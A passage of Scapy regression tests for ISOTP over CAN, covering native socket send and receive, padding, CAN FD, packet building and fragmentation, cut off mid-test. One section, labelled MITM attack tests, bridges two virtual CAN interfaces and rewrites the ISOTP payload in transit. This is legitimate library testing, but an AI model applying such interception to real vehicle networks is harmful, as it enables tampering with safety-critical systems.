ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241)\n\n= Send single frame ISOTP message\nexit_if_no_isotp_module()\n\nwith new_can_socket(iface0) as cans:\n    s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241)\n    s.send(ISOTP(data=dhex(\"01 02 03 04 05\")))\n    can = cans.sniff(timeout=1, count=1)[0]\n    assert can.identifier == 0x641\n    assert can.data == dhex(\"05 01 02 03 04 05\")\n\n\n= Send single frame ISOTP message Test init with CANSocket\nexit_if_no_isotp_module()\ncans = CANSocket(iface0)\ns = ISOTPNativeSocket(cans, tx_id=0x641, rx_id=0x241)\ns.send(ISOTP(data=dhex(\"01 02 03 04 05\")))\ncan = cans.sniff(timeout=1, count=1)[0]\nassert can.identifier == 0x641\nassert can.data == dhex(\"05 01 02 03 04 05\")\ncans.close()\n\n\n= Test init with wrong type\nexit_if_no_isotp_module()\nexception_catched = False\ntry:\n    s = ISOTPNativeSocket(42, tx_id=0x641, rx_id=0x241)\nexcept Scapy_Exception:\n    exception_catched = True\n\nassert exception_catched\n\n= Send two-frame ISOTP message\nexit_if_no_isotp_module()\n\nevt = threading.Event()\ndef acker():\n    with new_can_socket(iface0) as cans:\n        evt.set()\n        can = cans.sniff(timeout=1, count=1)[0]\n        cans.send(CAN(identifier = 0x241, data=dhex(\"30 00 00\")))\n\n\nwith new_can_socket(iface0) as cans:\n    t = Thread(target=acker)\n    t.start()\n    s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241)\n    evt.wait(timeout=5)\n    s.send(ISOTP(data=dhex(\"01 02 03 04 05 06 07 08\")))\n    can = cans.sniff(timeout=1, count=1)[0]\n    assert can.identifier == 0x641\n    assert can.data == dhex(\"10 08 01 02 03 04 05 06\")\n    can = cans.sniff(timeout=1, count=1)[0]\n    assert can.identifier == 0x241\n    assert can.data == dhex(\"30 00 00\")\n    can = cans.sniff(timeout=1, count=1)[0]\n    assert can.identifier == 0x641\n    assert can.data == dhex(\"21 07 08\")\n    t.join(timeout=5)\n    assert not t.is_alive()\n\n= Send a single frame ISOTP message with padding\nexit_if_no_isotp_module()\ns = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, padding=True)\n\nwith new_can_socket(iface0) as cans:\n    s.send(ISOTP(data=dhex(\"01\")))\n    can = cans.sniff(timeout=1, count=1)[0]\n    assert can.length == 8\n\n\n= Send a two-frame ISOTP message with padding\nexit_if_no_isotp_module()\n\nacker_ready = threading.Event()\ndef acker():\n    with new_can_socket(iface0) as acks:\n        acker_ready.set()\n        can = acks.sniff(timeout=1, count=1)[0]\n        acks.send(CAN(identifier = 0x241, data=dhex(\"30 00 00\")))\n\nwith new_can_socket(iface0) as cans:\n    thread = Thread(target=acker)\n    thread.start()\n    acker_ready.wait(timeout=5)\n    s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, padding=True)\n    s.send(ISOTP(data=dhex(\"01 02 03 04 05 06 07 08\")))\n    can = cans.sniff(timeout=1, count=1)[0]\n    assert can.identifier == 0x641\n    assert can.data == dhex(\"10 08 01 02 03 04 05 06\")\n    can = cans.sniff(timeout=1, count=1)[0]\n    assert can.identifier == 0x241\n    assert can.data == dhex(\"30 00 00\")\n    can = cans.sniff(timeout=1, count=1)[0]\n    assert can.identifier == 0x641\n    assert can.data == dhex(\"21 07 08 CC CC CC CC CC\")\n    thread.join(5)\n    assert not thread.is_alive()\n\n\n= Receive a padded single frame ISOTP message with padding disabled\nexit_if_no_isotp_module()\ns = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, padding=False)\nwith new_can_socket(iface0) as cans:\n    cans.send(CAN(identifier=0x241, data=dhex(\"02 05 06 00 00 00 00 00\")))\n    res = s.recv()\n    assert res.data == dhex(\"05 06\")\n\n\n= Receive a padded single frame ISOTP message with padding enabled\nexit_if_no_isotp_module()\ns = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, padding=True)\nwith new_can_socket(iface0) as cans:\n    cans.send(CAN(identifier=0x241, data=dhex(\"02 05 06 00 00 00 00 00\")))\n    res = s.recv()\n    assert res.data == dhex(\"05 06\")\n\n\n= Receive a non-padded single frame ISOTP message with padding enabled\nexit_if_no_isotp_module()\ns = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, padding=True)\nwith new_can_socket(iface0) as cans:\n    cans.send(CAN(identifier=0x241, data=dhex(\"02 05 06\")))\n    res = s.recv()\n    assert res.data == dhex(\"05 06\")\n\n\n= Receive a padded two-frame ISOTP message with padding enabled\nexit_if_no_isotp_module()\ns = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, padding=True)\nwith new_can_socket(iface0) as cans:\n    cans.send(CAN(identifier=0x241, data=dhex(\"10 09 01 02 03 04 05 06\")))\n    cans.send(CAN(identifier=0x241, data=dhex(\"21 07 08 09 00 00 00 00\")))\n    res = s.recv()\n    assert res.data == dhex(\"01 02 03 04 05 06 07 08 09\")\n\n\n= Receive a padded two-frame ISOTP message with padding disabled\nexit_if_no_isotp_module()\ns = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, padding=False)\nwith new_can_socket(iface0) as cans:\n    cans.send(CAN(identifier=0x241, data=dhex(\"10 09 01 02 03 04 05 06\")))\n    cans.send(CAN(identifier=0x241, data=dhex(\"21 07 08 09 00 00 00 00\")))\n    res = s.recv()\n    assert res.data == dhex(\"01 02 03 04 05 06 07 08 09\")\n\n\n= Receive a single frame ISOTP message\nexit_if_no_isotp_module()\ns = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241)\nwith new_can_socket(iface0) as cans:\n    cans.send(CAN(identifier = 0x241, data = dhex(\"05 01 02 03 04 05\")))\n    isotp = s.recv()\n    assert isotp.data == dhex(\"01 02 03 04 05\")\n    assert isotp.tx_id == 0x641\n    assert isotp.rx_id == 0x241\n    assert isotp.ext_address == None\n    assert isotp.rx_ext_address == None\n\n\n= Receive a single frame ISOTP message, with extended addressing\nexit_if_no_isotp_module()\ns = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, ext_address=0xc0, rx_ext_address=0xea)\nwith new_can_socket(iface0) as cans:\n    cans.send(CAN(identifier = 0x241, data = dhex(\"EA 05 01 02 03 04 05\")))\n    isotp = s.recv()\n    assert isotp.data == dhex(\"01 02 03 04 05\")\n    assert isotp.tx_id == 0x641\n    assert isotp.rx_id == 0x241\n    assert isotp.ext_address == 0xc0\n    assert isotp.rx_ext_address == 0xea\n\n\n= Receive a two-frame ISOTP message\nexit_if_no_isotp_module()\ns = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241)\nwith new_can_socket(iface0) as cans:\n    cans.send(CAN(identifier = 0x241, data = dhex(\"10 0B 01 02 03 04 05 06\")))\n    cans.send(CAN(identifier = 0x241, data = dhex(\"21 07 08 09 10 11\")))\n    isotp = s.recv()\n    assert isotp.data == dhex(\"01 02 03 04 05 06 07 08 09 10 11\")\n\n= Receive a two-frame ISOTP message and test python with statement\nexit_if_no_isotp_module()\nwith ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241) as s:\n    with new_can_socket(iface0) as cans:\n        cans.send(CAN(identifier = 0x241, data = dhex(\"10 0B 01 02 03 04 05 06\")))\n        cans.send(CAN(identifier = 0x241, data = dhex(\"21 07 08 09 10 11\")))\n    isotp = s.recv()\n    assert isotp.data == dhex(\"01 02 03 04 05 06 07 08 09 10 11\")\n\n\n= Send single CANFD frame ISOTP message\nexit_if_no_isotp_module()\n\nwith new_can_socket(iface0, fd=True) as cans:\n    s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, fd=True)\n    s.send(ISOTP(data=dhex(\"01 02 03 04 05 06 07 08 09\")))\n    can = cans.sniff(timeout=1, count=1)[0]\n    assert can.identifier == 0x641\n    assert can.data == dhex(\"09 01 02 03 04 05 06 07 08 09\")\n\n\n= ISOTP Socket sr1 test\nexit_if_no_isotp_module()\n\ntxSock = ISOTPNativeSocket(iface0, tx_id=0x123, rx_id=0x321, basecls=ISOTP)\ntxmsg = ISOTP(b'\\x11\\x22\\x33')\nrx2 = None\n\nreceiver_up = Event()\n\ndef sender():\n    global receiver_up\n    receiver_up.wait(timeout=5)\n    global txmsg\n    global rx2\n    rx2 = txSock.sr1(txmsg, timeout=1, verbose=True)\n\ndef receiver():\n    global receiver_up\n    with new_can_socket(iface0) as cans:\n        rx = cans.sniff(timeout=1, count=1, started_callback=receiver_up.set)[0]\n        cans.send(CAN(identifier=0x321, length=4, data=b'\\x03\\x7f\\x22\\x33'))\n    expectedrx = CAN(identifier=0x123, length=4, data=b'\\x03\\x11\\x22\\x33')\n    assert rx.length == expectedrx.length\n    assert rx.data == expectedrx.data\n    assert rx.identifier == expectedrx.identifier\n\ntxThread = threading.Thread(target=sender)\ntxThread.start()\nreceiver()\ntxThread.join(timeout=5)\nassert not txThread.is_alive()\n\nassert rx2 is not None\nassert rx2 == ISOTP(b'\\x7f\\x22\\x33')\nassert rx2.answers(txmsg)\n\n= ISOTP Socket sr1 and ISOTP test\nexit_if_no_isotp_module()\ntxSock = ISOTPNativeSocket(iface0, 0x123, 0x321, basecls=ISOTP)\nrxSock = ISOTPNativeSocket(iface0, 0x321, 0x123, basecls=ISOTP)\nmsg = ISOTP(b'\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33')\nrx2 = None\n\nreceiver_up = Event()\n\ndef sender():\n    receiver_up.wait(timeout=5)\n    global rx2\n    rx2 = txSock.sr1(msg, timeout=1, verbose=True)\n\ndef receiver():\n    global rx\n    receiver_up.set()\n    rx = rxSock.recv()\n    rxSock.send(msg)\n\ntxThread = threading.Thread(target=sender)\ntxThread.start()\nreceiver()\ntxThread.join(timeout=5)\nassert not txThread.is_alive()\n\nassert rx == msg\nassert rxSock.send(msg)\nassert rx2 is not None\nassert rx2 == msg\n\n= ISOTP Socket sr1 and ISOTP test vice versa\nexit_if_no_isotp_module()\n\nrxSock = ISOTPNativeSocket(iface0, 0x321, 0x123, basecls=ISOTP)\ntxSock = ISOTPNativeSocket(iface0, 0x123, 0x321, basecls=ISOTP)\n\nmsg = ISOTP(b'\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33')\n\nreceiver_up = Event()\n\ndef receiver():\n    global rx2, sent\n    rx2 = rxSock.sniff(count=1, timeout=1, started_callback=receiver_up.set)\n    sent = rxSock.send(msg)\n\ndef sender():\n    global rx\n    receiver_up.wait(timeout=5)\n    rx = txSock.sr1(msg, timeout=1,verbose=True)\n\nrx2 = None\nsent = False\nrxThread = threading.Thread(target=receiver)\nrxThread.start()\nsender()\nrxThread.join(timeout=5)\nassert not rxThread.is_alive()\n\nassert rx == msg\nassert rx2[0] == msg\nassert sent\n\n= ISOTP Socket sniff\nexit_if_no_isotp_module()\n\nrxSock = ISOTPNativeSocket(iface0, 0x321, 0x123, basecls=ISOTP)\ntxSock = ISOTPNativeSocket(iface0, 0x123, 0x321, basecls=ISOTP)\nsucc = False\n\nreceiver_up = Event()\n\ndef receiver():\n    rx = rxSock.sniff(count=5, timeout=1, started_callback=receiver_up.set)\n    msg = ISOTP(b'\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33')\n    msg.data += b'0'\n    assert rx[0] == msg\n    msg.data += b'1'\n    assert rx[1] == msg\n    msg.data += b'2'\n    assert rx[2] == msg\n    msg.data += b'3'\n    assert rx[3] == msg\n    msg.data += b'4'\n    assert rx[4] == msg\n    global succ\n    succ = True\n\ndef sender():\n    receiver_up.wait(timeout=5)\n    msg = ISOTP(b'\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33\\x11\\x22\\x33')\n    msg.data += b'0'\n    assert txSock.send(msg)\n    msg.data += b'1'\n    assert txSock.send(msg)\n    msg.data += b'2'\n    assert txSock.send(msg)\n    msg.data += b'3'\n    assert txSock.send(msg)\n    msg.data += b'4'\n    assert txSock.send(msg)\n\nrxThread = threading.Thread(target=receiver)\nrxThread.start()\nsender()\nrxThread.join(timeout=5)\nassert not rxThread.is_alive()\n\nassert succ\n\n+ ISOTPNativeSocket MITM attack tests\n~ vcan_socket needs_root linux\n\n= bridge and sniff with isotp native sockets set up vcan0 and vcan1 for package forwarding vcan1\nexit_if_no_isotp_module()\n\nisoTpSocket0 = ISOTPNativeSocket(iface0, tx_id=0x241, rx_id=0x641)\nisoTpSocket1 = ISOTPNativeSocket(iface1, tx_id=0x641, rx_id=0x241)\nbSocket0 = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241)\nbSocket1 = ISOTPNativeSocket(iface1, tx_id=0x241, rx_id=0x641)\n\nbridgeStarted = threading.Event()\ndef bridge():\n    global bridgeStarted\n    def forwarding(pkt):\n        return pkt\n    bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=2, count=1, started_callback=bridgeStarted.set)\n    bSocket0.close()\n    bSocket1.close()\n    global bSucc\n    bSucc = True\n\nbSucc = False\n\nthreadBridge = threading.Thread(target=bridge)\nthreadBridge.start()\nbridgeStarted.wait(timeout=5)\nisoTpSocket0.send(ISOTP(b'Request'))\npacketsVCan1 = isoTpSocket1.sniff(timeout=0.5, count=1)\n\nassert len(packetsVCan1) == 1\n\nisoTpSocket0.close()\nisoTpSocket1.close()\n\nthreadBridge.join(timeout=5)\nassert not threadBridge.is_alive()\n\nassert bSucc\n\n= bridge and sniff with isotp native sockets set up vcan0 and vcan1 for package change to vcan1\nexit_if_no_isotp_module()\n\nisoTpSocket0 = ISOTPNativeSocket(iface0, tx_id=0x241, rx_id=0x641)\nisoTpSocket1 = ISOTPNativeSocket(iface1, tx_id=0x641, rx_id=0x241)\nbSocket0 = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241)\nbSocket1 = ISOTPNativeSocket(iface1, tx_id=0x241, rx_id=0x641)\n\nbSucc = False\n\nbridgeStarted = threading.Event()\ndef bridge():\n    global bridgeStarted\n    global bSucc\n    def forwarding(pkt):\n        pkt.data = 'changed'\n        return pkt\n    bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=0.5, started_callback=bridgeStarted.set)\n    bSocket0.close()\n    bSocket1.close()\n    bSucc = True\n\nthreadBridge = threading.Thread(target=bridge)\nthreadBridge.start()\nbridgeStarted.wait(timeout=5)\nisoTpSocket0.send(ISOTP(b'Request'))\npacketsVCan1 = isoTpSocket1.sniff(timeout=0.5, count=1)\n\npacketsVCan1[0].data = b'changed'\nassert len(packetsVCan1) == 1\n\nisoTpSocket0.close()\nisoTpSocket1.close()\n\nthreadBridge.join(timeout=5)\nassert not threadBridge.is_alive()\n\nassert bSucc\n\n= bridge and sniff with isotp native sockets set up vcan0 and vcan1 for package forwarding in both directions\nexit_if_no_isotp_module()\n\nbSucc = False\n\nisoTpSocket0 = ISOTPNativeSocket(iface0, tx_id=0x241, rx_id=0x641)\nisoTpSocket1 = ISOTPNativeSocket(iface1, tx_id=0x641, rx_id=0x241)\nbSocket0 = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241)\nbSocket1 = ISOTPNativeSocket(iface1, tx_id=0x241, rx_id=0x641)\n\nbridgeStarted = threading.Event()\ndef bridge():\n    global bridgeStarted\n    global bSucc\n    def forwarding(pkt):\n        return pkt\n    bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=0.5, started_callback=bridgeStarted.set, count=2)\n    bSocket0.close()\n    bSocket1.close()\n    bSucc = True\n\nthreadBridge = threading.Thread(target=bridge)\nthreadBridge.start()\nbridgeStarted.wait(timeout=5)\n\npacketVcan0 = ISOTP(b'RequestVcan0')\npacketVcan1 = ISOTP(b'RequestVcan1')\nisoTpSocket0.send(packetVcan0)\nisoTpSocket1.send(packetVcan1)\n\npacketsVCan0 = isoTpSocket0.sniff(timeout=0.5, count=1)\npacketsVCan1 = isoTpSocket1.sniff(timeout=0.5, count=1)\n\nlen(packetsVCan0) == 1\nlen(packetsVCan1) == 1\n\nisoTpSocket0.close()\nisoTpSocket1.close()\n\nthreadBridge.join(timeout=5)\nassert not threadBridge.is_alive()\n\nassert bSucc\n\n= bridge and sniff with isotp native sockets set up vcan0 and vcan1 for package change in both directions\nexit_if_no_isotp_module()\n\nbSucc = False\n\nisoTpSocket0 = ISOTPNativeSocket(iface0, tx_id=0x241, rx_id=0x641)\nisoTpSocket1 = ISOTPNativeSocket(iface1, tx_id=0x641, rx_id=0x241)\nbSocket0 = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241)\nbSocket1 = ISOTPNativeSocket(iface1, tx_id=0x241, rx_id=0x641)\n\nbridgeStarted = threading.Event()\ndef bridge():\n    global bridgeStarted\n    global bSucc\n    def forwarding(pkt):\n        pkt.data = 'changed'\n        return pkt\n    bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=0.5, started_callback=bridgeStarted.set, count=2)\n    bSocket0.close()\n    bSocket1.close()\n    bSucc = True\n\nthreadBridge = threading.Thread(target=bridge)\nthreadBridge.start()\nbridgeStarted.wait(timeout=5)\n\npacketVcan0 = ISOTP(b'RequestVcan0')\npacketVcan1 = ISOTP(b'RequestVcan1')\nisoTpSocket0.send(packetVcan0)\nisoTpSocket1.send(packetVcan1)\n\npacketsVCan0 = isoTpSocket0.sniff(timeout=0.5, count=1)\npacketsVCan1 = isoTpSocket1.sniff(timeout=0.5, count=1)\n\npacketsVCan0[0].data = b'changed'\nassert len(packetsVCan0) == 1\npacketsVCan1[0].data = b'changed'\nassert len(packetsVCan1) == 1\n\nisoTpSocket0.close()\nisoTpSocket1.close()\n\nthreadBridge.join(timeout=5)\nassert not threadBridge.is_alive()\n\nassert bSucc\n\n+ Cleanup\n\n= Cleanup reference to ISOTPSoftSocket to let the thread end\ns = None\n\n= Delete vcan interfaces\n\nassert cleanup_interfaces()\n"
  },
  {
    "path": "test/contrib/isotp_packet.uts",
    "content": "% Regression tests for ISOTP packet definitions\n\n+ Configuration\n~ conf\n\n= Import isotp\n\nconf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False}\n\nload_layer(\"can\", globals_dict=globals())\nload_contrib(\"isotp\", globals_dict=globals())\nfrom scapy.contrib.isotp.isotp_scanner import get_isotp_packet\n\n= Define helpers\n\n# hexadecimal to bytes convenience function\ndhex = bytes.fromhex\n\n\n+ ISOTP packet check\n\n= Creation of an empty ISOTP packet\np = ISOTP()\nassert p.data == b\"\"\nassert p.tx_id is None and p.rx_id is None and p.ext_address is None and p.rx_ext_address is None\nassert bytes(p) == b\"\"\n\n= Creation of a simple ISOTP packet with tx_id\np = ISOTP(b\"eee\", tx_id=0x241)\nassert p.tx_id == 0x241\nassert p.data == b\"eee\"\nassert bytes(p) == b\"eee\"\n\n= Creation of a simple ISOTP packet with ext_address\np = ISOTP(b\"eee\", ext_address=0x41)\nassert p.ext_address == 0x41\nassert p.data == b\"eee\"\nassert bytes(p) == b\"eee\"\n\n= Creation of a simple ISOTP packet with rx_id\np = ISOTP(b\"eee\", rx_id=0x241)\nassert p.rx_id == 0x241\nassert p.data == b\"eee\"\nassert bytes(p) == b\"eee\"\n\n= Creation of a simple ISOTP packet with rx_ext_address\np = ISOTP(b\"eee\", rx_ext_address=0x41)\nassert p.rx_ext_address == 0x41\nassert p.data == b\"eee\"\nassert bytes(p) == b\"eee\"\n\n= Creation of a simple ISOTP packet with tx_id, rx_id, ext_address, rx_ext_address\np = ISOTP(b\"eee\", tx_id=1, rx_id=2, ext_address=3, rx_ext_address=4)\nassert p.rx_id == 2\nassert p.rx_ext_address == 4\nassert p.tx_id == 1\nassert p.ext_address == 3\nassert p.data == b\"eee\"\nassert bytes(p) == b\"eee\"\n\n= ISOTP answers test\np = ISOTP()\nr = ISOTP()\nassert p.data == b\"\"\nassert p.answers(r)\nassert not p.answers(Raw())\n\n\n= Creation of a simple ISOTP packet with tx_id validation error\nex = False\ntry:\n    p = ISOTP(b\"eee\", tx_id=0x1000000000, rx_id=2, ext_address=3, rx_ext_address=4)\nexcept Scapy_Exception:\n    ex = True\n\nassert ex\n\n= Creation of a simple ISOTP packet with rx_id validation error\nex = False\ntry:\n    p = ISOTP(b\"eee\", tx_id=0x10, rx_id=0x20000000000, ext_address=3, rx_ext_address=4)\nexcept Scapy_Exception:\n    ex = True\n\nassert ex\n\n= Creation of a simple ISOTP packet with ext_address validation error\nex = False\ntry:\n    p = ISOTP(b\"eee\", tx_id=0x10, rx_id=2, ext_address=3000, rx_ext_address=4)\nexcept Scapy_Exception:\n    ex = True\n\nassert ex\n\n\n= Creation of a simple ISOTP packet with rx_ext_address validation error\nex = False\ntry:\n    p = ISOTP(b\"eee\", tx_id=0x10, rx_id=2, ext_address=30, rx_ext_address=400)\nexcept Scapy_Exception:\n    ex = True\n\nassert ex\n\n+ ISOTPFrame related checks\n\n= Build a packet with extended addressing\npkt = CAN(identifier=0x123, data=b'\\x42\\x10\\xff\\xde\\xea\\xdd\\xaa\\xaa')\nisotpex = ISOTPHeaderEA(bytes(pkt))\nassert isotpex.type == 1\nassert isotpex.message_size == 0xff\nassert isotpex.extended_address == 0x42\nassert isotpex.identifier == 0x123\nassert isotpex.length == 8\n\n= Build a packet with normal addressing\npkt = CAN(identifier=0x123, data=b'\\x10\\xff\\xde\\xea\\xdd\\xaa\\xaa')\nisotpno = ISOTPHeader(bytes(pkt))\nassert isotpno.type == 1\nassert isotpno.message_size == 0xff\nassert isotpno.identifier == 0x123\nassert isotpno.length == 7\n\n= Compare both isotp payloads\nassert isotpno.data == isotpex.data\nassert isotpno.message_size == isotpex.message_size\n\n= Dissect multiple packets\nframes = \\\n    [b'\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x10(\\xde\\xad\\xbe\\xef\\xde\\xad',\n    b'\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00!\\xbe\\xef\\xde\\xad\\xbe\\xef\\xde',\n    b'\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\"\\xad\\xbe\\xef\\xde\\xad\\xbe\\xef',\n    b'\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00#\\xde\\xad\\xbe\\xef\\xde\\xad\\xbe',\n    b'\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00$\\xef\\xde\\xad\\xbe\\xef\\xde\\xad',\n    b'\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00%\\xbe\\xef\\xde\\xad\\xbe\\xef']\n\nisotpframes = [ISOTPHeader(x) for x in frames]\n\nassert isotpframes[0].type == 1\nassert isotpframes[0].message_size == 40\nassert isotpframes[0].length == 8\nassert isotpframes[1].type == 2\nassert isotpframes[1].index == 1\nassert isotpframes[1].length == 8\nassert isotpframes[2].type == 2\nassert isotpframes[2].index == 2\nassert isotpframes[2].length == 8\nassert isotpframes[3].type == 2\nassert isotpframes[3].index == 3\nassert isotpframes[3].length == 8\nassert isotpframes[4].type == 2\nassert isotpframes[4].index == 4\nassert isotpframes[4].length == 8\nassert isotpframes[5].type == 2\nassert isotpframes[5].index == 5\nassert isotpframes[5].length == 7\n\n= Build SF frame with constructor, check for correct length assignments\np = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_SF(data=b'\\xad\\xbe\\xad\\xff')))\nassert p.length == 5\nassert p.message_size == 4\nassert len(p.data) == 4\nassert p.data == b'\\xad\\xbe\\xad\\xff'\nassert p.type == 0\nassert p.identifier == 0\n\n= Build SF frame EA with constructor, check for correct length assignments\np = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_SF(data=b'\\xad\\xbe\\xad\\xff')))\nassert p.extended_address == 0\nassert p.length == 6\nassert p.message_size == 4\nassert len(p.data) == 4\nassert p.data == b'\\xad\\xbe\\xad\\xff'\nassert p.type == 0\nassert p.identifier == 0\n\n= Build FF frame with constructor, check for correct length assignments\np = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_FF(message_size=10, data=b'\\xad\\xbe\\xad\\xff')))\nassert p.length == 6\nassert p.message_size == 10\nassert len(p.data) == 4\nassert p.data == b'\\xad\\xbe\\xad\\xff'\nassert p.type == 1\nassert p.identifier == 0\n\n= Build FF frame EA with constructor, check for correct length assignments\np = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_FF(message_size=10, data=b'\\xad\\xbe\\xad\\xff')))\nassert p.extended_address == 0\nassert p.length == 7\nassert p.message_size == 10\nassert len(p.data) == 4\nassert p.data == b'\\xad\\xbe\\xad\\xff'\nassert p.type == 1\nassert p.identifier == 0\n\n= Build FF frame EA, extended size, with constructor, check for correct length assignments\np = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_FF_FD(message_size=2000, data=b'\\xad')))\nassert p.extended_address == 0\nassert p.length == 8\nassert p.message_size == 2000\nassert len(p.data) == 1\nassert p.data == b'\\xad'\nassert p.type == 1\nassert p.identifier == 0\n\n= Build FF frame, extended size, with constructor, check for correct length assignments\np = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_FF_FD(message_size=2000, data=b'\\xad')))\nassert p.length == 7\nassert p.message_size == 2000\nassert len(p.data) == 1\nassert p.data == b'\\xad'\nassert p.type == 1\nassert p.identifier == 0\n\n= Build CF frame with constructor, check for correct length assignments\np = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_CF(data=b'\\xad')))\nassert p.length == 2\nassert p.index == 0\nassert len(p.data) == 1\nassert p.data == b'\\xad'\nassert p.type == 2\nassert p.identifier == 0\n\n= Build CF frame EA with constructor, check for correct length assignments\np = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_CF(data=b'\\xad')))\nassert p.length == 3\nassert p.index == 0\nassert len(p.data) == 1\nassert p.data == b'\\xad'\nassert p.type == 2\nassert p.identifier == 0\n\n= Build FC frame EA with constructor, check for correct length assignments\np = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_FC()))\nassert p.length == 4\nassert p.block_size == 0\nassert p.separation_time == 0\nassert p.type == 3\nassert p.identifier == 0\n\n= Build FC frame with constructor, check for correct length assignments\np = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_FC()))\nassert p.length == 3\nassert p.block_size == 0\nassert p.separation_time == 0\nassert p.type == 3\nassert p.identifier == 0\n\n= Construct some single frames\np = ISOTPHeader(identifier=0x123, length=5)/ISOTP_SF(message_size=4, data=b'abcd')\nassert p.length == 5\nassert p.identifier == 0x123\nassert p.type == 0\nassert p.message_size == 4\nassert p.data == b'abcd'\n\n= Construct some single frames EA\np = ISOTPHeaderEA(identifier=0x123, length=6, extended_address=42)/ISOTP_SF(message_size=4, data=b'abcd')\nassert p.length == 6\nassert p.extended_address == 42\nassert p.identifier == 0x123\nassert p.type == 0\nassert p.message_size == 4\nassert p.data == b'abcd'\n\n= Construct ISOTP_packet with extended can frame\np = get_isotp_packet(identifier=0x1234, extended=False, extended_can_id=True)\nprint(p)\nassert (p.identifier == 0x1234)\nassert (p.flags == \"extended\")\n\n= Construct ISOTPEA_Packet with extended can frame\np = get_isotp_packet(identifier=0x1234, extended=True, extended_can_id=True)\nprint(p)\nassert (p.identifier == 0x1234)\nassert (p.flags == \"extended\")\n\n+ ISOTP fragment and defragment checks\n\n= Fragment an empty ISOTP message\nfragments = ISOTP().fragment()\nassert len(fragments) == 1\nassert fragments[0].data == b\"\\0\"\n\n= Fragment another empty ISOTP message\nfragments = ISOTP(b\"\").fragment()\nassert len(fragments) == 1\nassert fragments[0].data == b\"\\0\"\n\n= Fragment a 4 bytes long ISOTP message\nfragments = ISOTP(b\"data\", tx_id=0x241).fragment()\nassert len(fragments) == 1\nassert isinstance(fragments[0], CAN)\nfragment = CAN(bytes(fragments[0]))\nassert fragment.data == b\"\\x04data\"\nassert fragment.flags == 0\nassert fragment.length == 5\nassert fragment.reserved == 0\n\n= Fragment a 4 bytes long ISOTP message extended\nfragments = ISOTP(b\"data\", rx_id=0x1fff0000).fragment()\nassert len(fragments) == 1\nassert isinstance(fragments[0], CAN)\nfragment = CAN(bytes(fragments[0]))\nassert fragment.data == b\"\\x04data\"\nassert fragment.length == 5\nassert fragment.reserved == 0\nassert fragment.flags == 4\n\n= Fragment a 8 bytes long ISOTP message extended\nfragments = ISOTP(b\"datadata\", rx_id=0x1fff0000).fragment()\nassert len(fragments) == 2\nassert isinstance(fragments[0], CAN)\nfragment = CAN(bytes(fragments[0]))\nassert fragment.data == b\"\\x10\\x08datada\"\nassert fragment.length == 8\nassert fragment.reserved == 0\nassert fragment.flags == 4\nfragment = CAN(bytes(fragments[1]))\nassert fragment.data == b\"\\x21ta\"\nassert fragment.length == 3\nassert fragment.reserved == 0\nassert fragment.flags == 4\n\n= Fragment a 7 bytes long ISOTP message\nfragments = ISOTP(b\"abcdefg\").fragment()\nassert len(fragments) == 1\nassert fragments[0].data == b\"\\x07abcdefg\"\n\n= Fragment a 8 bytes long ISOTP message\nfragments = ISOTP(b\"abcdefgh\").fragment()\nassert len(fragments) == 2\nassert fragments[0].data == b\"\\x10\\x08abcdef\"\nassert fragments[1].data == b\"\\x21gh\"\n\n= Fragment an ISOTP message with extended addressing\nisotp = ISOTP(b\"abcdef\", rx_ext_address=ord('A'))\nfragments = isotp.fragment()\nassert len(fragments) == 1\nassert fragments[0].data == b\"A\\x06abcdef\"\n\n= Fragment a 7 bytes ISOTP message with destination identifier\nisotp = ISOTP(b\"abcdefg\", rx_id=0x64f)\nfragments = isotp.fragment()\nassert len(fragments)  == 1\nassert fragments[0].data == b\"\\x07abcdefg\"\nassert fragments[0].identifier == 0x64f\n\n= Fragment a 16 bytes 